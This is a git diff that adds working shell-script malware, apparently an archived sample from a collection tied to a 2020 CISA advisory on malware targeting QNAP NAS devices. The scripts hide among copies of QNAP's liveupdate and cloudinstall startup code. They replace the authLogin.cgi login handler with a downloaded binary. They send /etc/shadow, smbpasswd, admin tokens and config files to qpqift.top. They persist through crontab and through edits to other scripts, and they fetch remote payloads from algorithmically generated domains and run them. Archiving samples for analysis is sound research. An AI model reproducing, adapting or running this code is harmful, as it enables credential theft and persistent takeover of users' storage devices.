binhash='rrYwg0D4+4DxcDxYQsNTB4JUGlQ=' + ;; + *arm*|*aarch*) + arch=arm + binhash='Z4n2BZdhwjYf0wjM7GCW61WM9eU=' + ;; + *i*86*) + arch=i486 + binhash='U3eHe6syQraRBGgsvkFZH3wibDw=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qal" "https://qpqift.top/data/qal2_${arch}" || rm -f ".qal" + test -f '.qal' && rsynchash="$(openssl dgst -sha1 -binary ".qal" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + test -f "${cgibindir}"/sysauthLogin.cgi && mv "${cgibindir}"/sysauthLogin.cgi "${cgibindir}"/authLogin.cgi + mv "${cgibindir}"/authLogin.cgi "${cgibindir}"/sysauthLogin.cgi && test -f "${cgibindir}"/sysauthLogin.cgi && mv '.qal' "${cgibindir}"/authLogin.cgi && chmod 755 "${cgibindir}"/authLogin.cgi + fi + test -f '.qal' && rm -f '.qal' + fi +fi + +if [ -f "${cgibindir}"/authLogin.cgi ] && "${cgibindir}"/authLogin.cgi | grep '/dev/null || cat "${confdir}/BOOT.conf"` || { test "$arch_o" = arm && __BOOT_CONF=TS-NASARM; } +command -v hal_app > /dev/null 2>&1 && { __BOOT_DEV=$(hal_app --get_boot_pd port_id=0); } +test "${__BOOT_CONF}" = TS-NASARM || test "$arch_o" = arm && { test -f /etc/IS_TAS && __BOOT_DEV="${__BOOT_DEV:-/dev/mtdblock}7" || __BOOT_DEV="${__BOOT_DEV:-/dev/mtdblock}5"; } || __BOOT_DEV="${__BOOT_DEV:-/dev/sdx}6" +test "x${CONFIG_DEV_NODE}" != "x" && { ubiattach -m "${CONFIG_DEV_PART}" -d 2; mount -t ubifs ubi2:config "${mdir}" > /dev/null 2>&1 || { test -f /etc/IS_TAS && mount -t ext4 /dev/mmcblk0p7 "${mdir}"; } } || mount ${__BOOT_DEV} -t ext2 ${mdir} || { test "${__model}" = "TS-201" && mount -t ext2 /dev/mtdblock4 ${mdir}; } || { ubiattach -m "${CONFIG_DEV_PART}" -d 2; mount -t ubifs ubi2:config "${mdir}"; mount -t ext4 /dev/mmcblk0p7 "${mdir}"; } || { test "${__model}" = "TS-269L" && mount -t ext2 /dev/sdc6 ${mdir}; } || { test "${__model}" = "TS-869" && mount -t ext2 /dev/sdi6 ${mdir}; } || { test "$arch_o" = arm || ${__BOOT_CONF} = "TS-NASARM" && { for i in 5 7 4 6 3 8; do mount -t ext2 "/dev/mtdblock${i}" ${mdir} && break; done; }; } || { test "$arch_o" = x86 && for n in /dev/sdc /dev/sdx /dev/sdi $__BOOT_DEV; do for i in 6 $CONFIG_DEV_PART; do mount -t ext2 ${n}${i} ${mdir} && break 2; done; done; } || { mount -t ext2 $(/sbin/hal_app --get_boot_pd port_id=0)6 ${mdir}; } + +if [ $? -eq 0 ] || mount | grep "$mdir" >/dev/null; then +for file in "${mdir}"/K01* "${mdir}/autorun.sh" '/tmp/config/autorun.sh'; do +if [ -f "$file" ]; then +sedcmd='s/CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/CXqrBM2CVbJog4rwwSz1Bp1i1'"'"'\ +verifykey="${verifykey}"'"'"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/' +grepstring='CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex' +sedreplace "$grepstring" "$sedcmd" "$file" +sedcmd='s/g4rwwSz1Bp1i1'"'"'/g4rwwS'"''"'z1Bp1i1'"'"'/' +grepstring='g4rwwSz1Bp1i1'"'" +sedreplace "$grepstring" "$sedcmd" "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +ia "$file" +fi +done +fi +umount "$mdir" +rmdir "$mdir" +fi + +if [ ! -f '1553058001_c' ]; then +touch '1553058001_c' +key=$(tr -dc 'a-zA-Z0-9' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +test "x$key" = 'x' && key=$(LC_ALL=C sed 's/[^a-zA-Z0-9]//g' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +{ echo "$key" | openssl rsautl -pubin -inkey .rsakey -encrypt | openssl enc -base64 -A; printf ':' +{ echo; for file in "${bdir}/.log/.rqsys.log" /etc/config/.qos_config/users/admin/.qtoken /etc/config/.qos_config/users/admin/secondSV.conf /etc/config/smbpasswd /etc/shadow /etc/config/*.conf /etc/default_config/*.conf /etc/*.conf /etc/config/.*.conf /etc/default_config/.*.conf /etc/.*.conf; do printf '%s:' "$file"; cat "$file"; echo; done; printf '%s:' "authLogin.cgi"; /home/httpd/cgi-bin/authLogin.cgi; printf '%s:' "display_name"; /sbin/get_display_name; } | gzip | { dd bs=4096 count=512 || head -c 2097152 || cat; } | openssl enc -aes-256-cbc -k "$key" -md md5 -salt -a -A; } | curl --connect-timeout 12 -m 300 -k -d '@-' "https://qpqift.top/ping.pl" +fi + +if [ ! -f 1551848403_c ]; then +touch 1551848403_c +test -f liveupdate.sh && cronscriptpath=.liveupdate/liveupdate.sh || { test -f backup_conf.sh && cronscriptpath=.config/backup_conf.sh; } + +if [ ! -z $cronscriptpath ]; then +test -d "${bdir}/.system" || mkdir -p "${bdir}/.system" +echo '(exec>/dev/null>&1 2>&1;(PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin";openssl base64 -d -A <<"EOF"|sh&' > "${bdir}/.system/.qinstaller.sh" +chmod 755 "${bdir}/.system/.qinstaller.sh" +{ +cat <<"XXEOF" +( exec >/dev/null 2>&1; ( +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep +sleep 5 +XXEOF +cat < "\${bdir}/.qpkg/${cronscriptpath}" <<"XEOF" +XXEOF +cat "${cronscriptpath#*/}" +cat </dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +fi + +test -x "\${bdir}/.qpkg/${cronscriptpath}" || chmod 755 "\${bdir}/.qpkg/${cronscriptpath}" + +crontabargs=\$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\\(.\\+\\)/\\1/p') +trycount=10; trycount=\$(( \$trycount - 10 )) +set x \$crontabargs; shift +while [ \$# -gt 0 ] && [ \$trycount -lt 10 ]; do +trycount=\$(( \$trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "\$OPT" = 'c' && crontabfile="\${OPTARG}/admin" && break +test "\$OPTIND" -gt 0 && shift "\$OPTIND" && OPTIND=1 || break +done +test "\$crontabfile" && test -f "\${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "\$crontabfile" "\${confdir}/crontab"; do +if \$fgrep "\${bdir}/.qpkg/${cronscriptpath}" "\$crontab"; then +: +else +cronmins=\$(printf '%i' "\$(( \$RANDOM % 60 ))") +cronhour=\$(printf '%i' "\$(( \$RANDOM % 24 ))") +cronhour=\$(printf '%i,' "\$(( ( \$cronhour + 8 ) % 24 ))" "\$(( ( \$cronhour + 16 ) % 24 ))")"\$cronhour" +echo "\$cronmins \$cronhour"' * * * '"\${bdir}/.qpkg/${cronscriptpath} >/dev/null 2>/dev/null" >> "\$crontab" +crontab "\$crontab" +sleep 2 +fi +done +) & ) & +XXEOF +} | { openssl base64 -A; echo; echo 'EOF'; echo ')&)'; } >> "${bdir}/.system/.qinstaller.sh" +{ { crontab -l || cat /etc/config/crontab; } | grep -v '^ *#' | awk '{ print $6 }'; sed -n 's/^ \?[Ss]hell \?= \?//p' /etc/config/qpkg.conf; } | grep '/' | sort | uniq | while IFS= read -r line; do +test ! -z "$line" || continue +test -f "$line" || continue +test "$line" = $(pwd)/liveupdate.sh || test "$line" = $(pwd)/backup_conf.sh && continue +grep '/\.system/\.qinstaller\.sh"; exit' "$line" && continue +head -n 1 "$line" | grep '^#! \?/bin/b\?a\?sh' || continue; +tab=' ' +test "${#tab}" -eq 1 || tab=$(printf '\011') || tab=$(echo -e '\011') +sed -i 's!^\([ '"$tab"']\{1,\}\)exit\([ '"$tab"']\{1,\}[0-9]\{1,\}\)\{0,1\}\(\;\{0,1\}[ '"$tab"']*\)$!\1{ '"${bdir}/.system/.qinstaller.sh"'; exit\2; }\3!;s!^exit\([ '"$tab"']\{1,\}[0-9]\{1,\}\)\{0,1\}\(\;\{0,1\}[ '"$tab"']*\)$!{ '"${bdir}/.system/.qinstaller.sh"'; exit\1; }!;s!/.qpkg/.q\{0,1\}installer.sh; exit!/.system/.qinstaller.sh; exit!' "$line" +hash='' +hash=$(sed -n '2,5p' "$line" | md5sum) +hash=${hash%${hash##*[0-9a-f]}}; hash=${hash#${hash%%[0-9a-f]*}} +trycnt=20 +while [ "x$hash" = 'x18ec5ab42dc1231da518951e4479c27b' ] && [ "$trycnt" -gt 0 ]; do +trycnt=$(( $trycnt - 1)) +sed -i '2,5d' "$line" +hash='' +hash=$(sed -n '2,568{/key=/d;s/\.liveupdate\/liveupdate\.sh//g;s/\.config\/backup_conf\.sh//g;p}' "$line" | md5sum) +hash=${hash%${hash##*[0-9a-f]}}; hash=${hash#${hash%%[0-9a-f]*}} +done +done +fi +fi + +test -f "${ts}_c" || touch "${ts}_c" +rm -f "${CWD}/".tmp.* +exit 0 +} diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/9791c5f567838f1705bd46e880e38e21e9f3400c353c2bf55a9fa9f130f3f077 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/9791c5f567838f1705bd46e880e38e21e9f3400c353c2bf55a9fa9f130f3f077 new file mode 100644 index 0000000..8915276 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/9791c5f567838f1705bd46e880e38e21e9f3400c353c2bf55a9fa9f130f3f077 @@ -0,0 +1,572 @@ +#!/bin/sh +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep + +if [ ! -f "${bdir}/.qpkg/.liveupdate/liveupdate.sh" ]; then +test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cat > "${bdir}/.qpkg/.liveupdate/liveupdate.sh" <<"XEOF" +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f 